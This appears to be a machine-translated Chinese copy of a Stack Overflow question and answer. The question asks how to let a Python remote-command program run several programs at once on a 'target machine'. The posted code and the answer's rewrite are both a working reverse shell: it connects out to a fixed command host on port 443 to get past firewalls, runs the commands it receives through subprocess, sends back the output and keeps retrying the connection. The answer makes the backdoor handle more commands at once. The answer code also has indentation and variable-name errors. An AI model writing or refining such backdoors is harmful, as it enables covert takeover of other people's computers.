9

下面的代码工作正常,但是每次运行程序时,例如目标计算机上的记事本,提示都会卡住,直到退出程序。与子流程模块并发。我怎样才能做到这一点?

如何在目标机器上同时运行多个程序?我想这可以通过线程或子进程模块来实现,但我仍然不能使用这个概念。

我该怎么做?

import socket 
import time 
import subprocess #Executar comandos do SO 

#criando a conexao reversa 

IP = '192.168.1.33' # ip do cliente linux netcat que sera a central de comando 
PORT = 443 # usamos a porta de https pra confundir o firewall : a conexao de saida nao sera bloqueada 

def connect(IP,PORT): 
    #conectando a central de controle 
    try: 
     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # IP/TCP 

     s.connect((IP,PORT)) 
     s.send('[!] Conexao recebida\n')  # msg pra ver se foi conectado 
     #s.close() 
     return s 
    except Exception as e: 
     print('Erro de conexao',e) 
     return None 

def listen(s): 
##qdo o cliente nao esta escutando, da erro na conexao e fecha!. Nao quero isso. O server tem que ficar o tempo todo tentando ate conectar! 
## versao 3!!!!!!!!!! 
#versao 4 usa while True 

##########loop infinito para receber comandos 
    try: 

     while True: 
      data = s.recv(1024) # a central de controle envia tb o "Enter" que teclamos apos cada comando {\n} 
      #print(data) 
      if data[:-1] == '/exit': #tudo exceto o ultimo caractere, que eh o \n 
       s.close()#fechar conexao 
       exit(0) # 0 eh execucao normal/sem erros 
      else: #executar os comandos 
       cmd(s,data) 
    except: 
     main(s) 

def cmd(s,data): 
    try:  
     proc = subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 
     saida = s.send(proc.stdout.read() + proc.stderr.read()) 
     s.send(saida) 
     #print(proc.stdout.read())  
    except: 
     main(s) 

def main(s): 
    if s: 
     s.close() 

    while True: 
     s_connected = connect(IP,PORT) 
     if s_connected: 
      listen(s_connected) 
     else: 
      print("deu erro na conexao, tentando de novo!!!")##so pra debug 
      time.sleep(10) 

    #return 0 #nao precisa 

s = None 
main(s) 
+3

我猜你的意思多,而不是多线程。线程存在于一个进程内。 – ElmoVanKielmo

+1

@ElmoVanKielmo,他使用了subprocess.Popen,你可以从一个线程开始并等待。线程是一个完全可行的解决方案。 –

+1

@MadPhysicist来吧。线程为这种情况?建立一个正在运行的进程列表并轮询每个进程以查看它是否终止会更好。 – ElmoVanKielmo

回答

7

试着这么做:

import socket 
import time 
import subprocess 
import select 

IP = '192.168.1.33' 
PORT = 443 

def connect(IP,PORT): 
    try: 
     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

     s.connect((IP,PORT)) 
     s.send('[!] Conexao recebida\n') 
    return s 
except Exception as e: 
    print('Erro de conexao',e) 
    return None 


def listen(s): 
    try: 
     # Create a polling object and register socket with it 
     socket_poll = select.poll() 
     socket_poll.register(s) 
     # Create a list of running processes 
     processes = [] 
     while True: 
      # If no data is available on the socket, we can use the time to clean up processes which are finished 
      if not socket_poll.poll(1): 
       for process in tuple(processes): 
        if process.poll(): 
         s.send(proc.stdout.read() + proc.stderr.read()) 
         processes.remove(process) 
       continue 
      data = s.recv(1024) 
      if data[:-1] == '/exit': 
       s.close() 
       exit(0) 
      else: 
       cmd(s, data, processes) 
    except: 
     main(s) 


def cmd(s, data, processes): 
    try:  
     proc = subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 
     # Add new process to the list 
     processes.append(proc) 
    except: 
     main(s) 


def main(s): 
    if s: 
     s.close() 

    while True: 
     s_connected = connect(IP,PORT) 
     if s_connected: 
      listen(s_connected) 
     else: 
      time.sleep(10) 

s = None 
main(s) 

对不起去除西班牙语意见;)

+0

感谢您的解决方案! –

+0

是否可以使用线程? –

+0

是的,这是可能的。我鼓励你用Mad Physicist提出的线程编写代码。不要担心,如果它不起作用。当你这样做时,我们可以告诉你什么是错的,并纠正它。只需用你的想象力向我们展示你如何在这里使用线程。 – ElmoVanKielmo

相关问题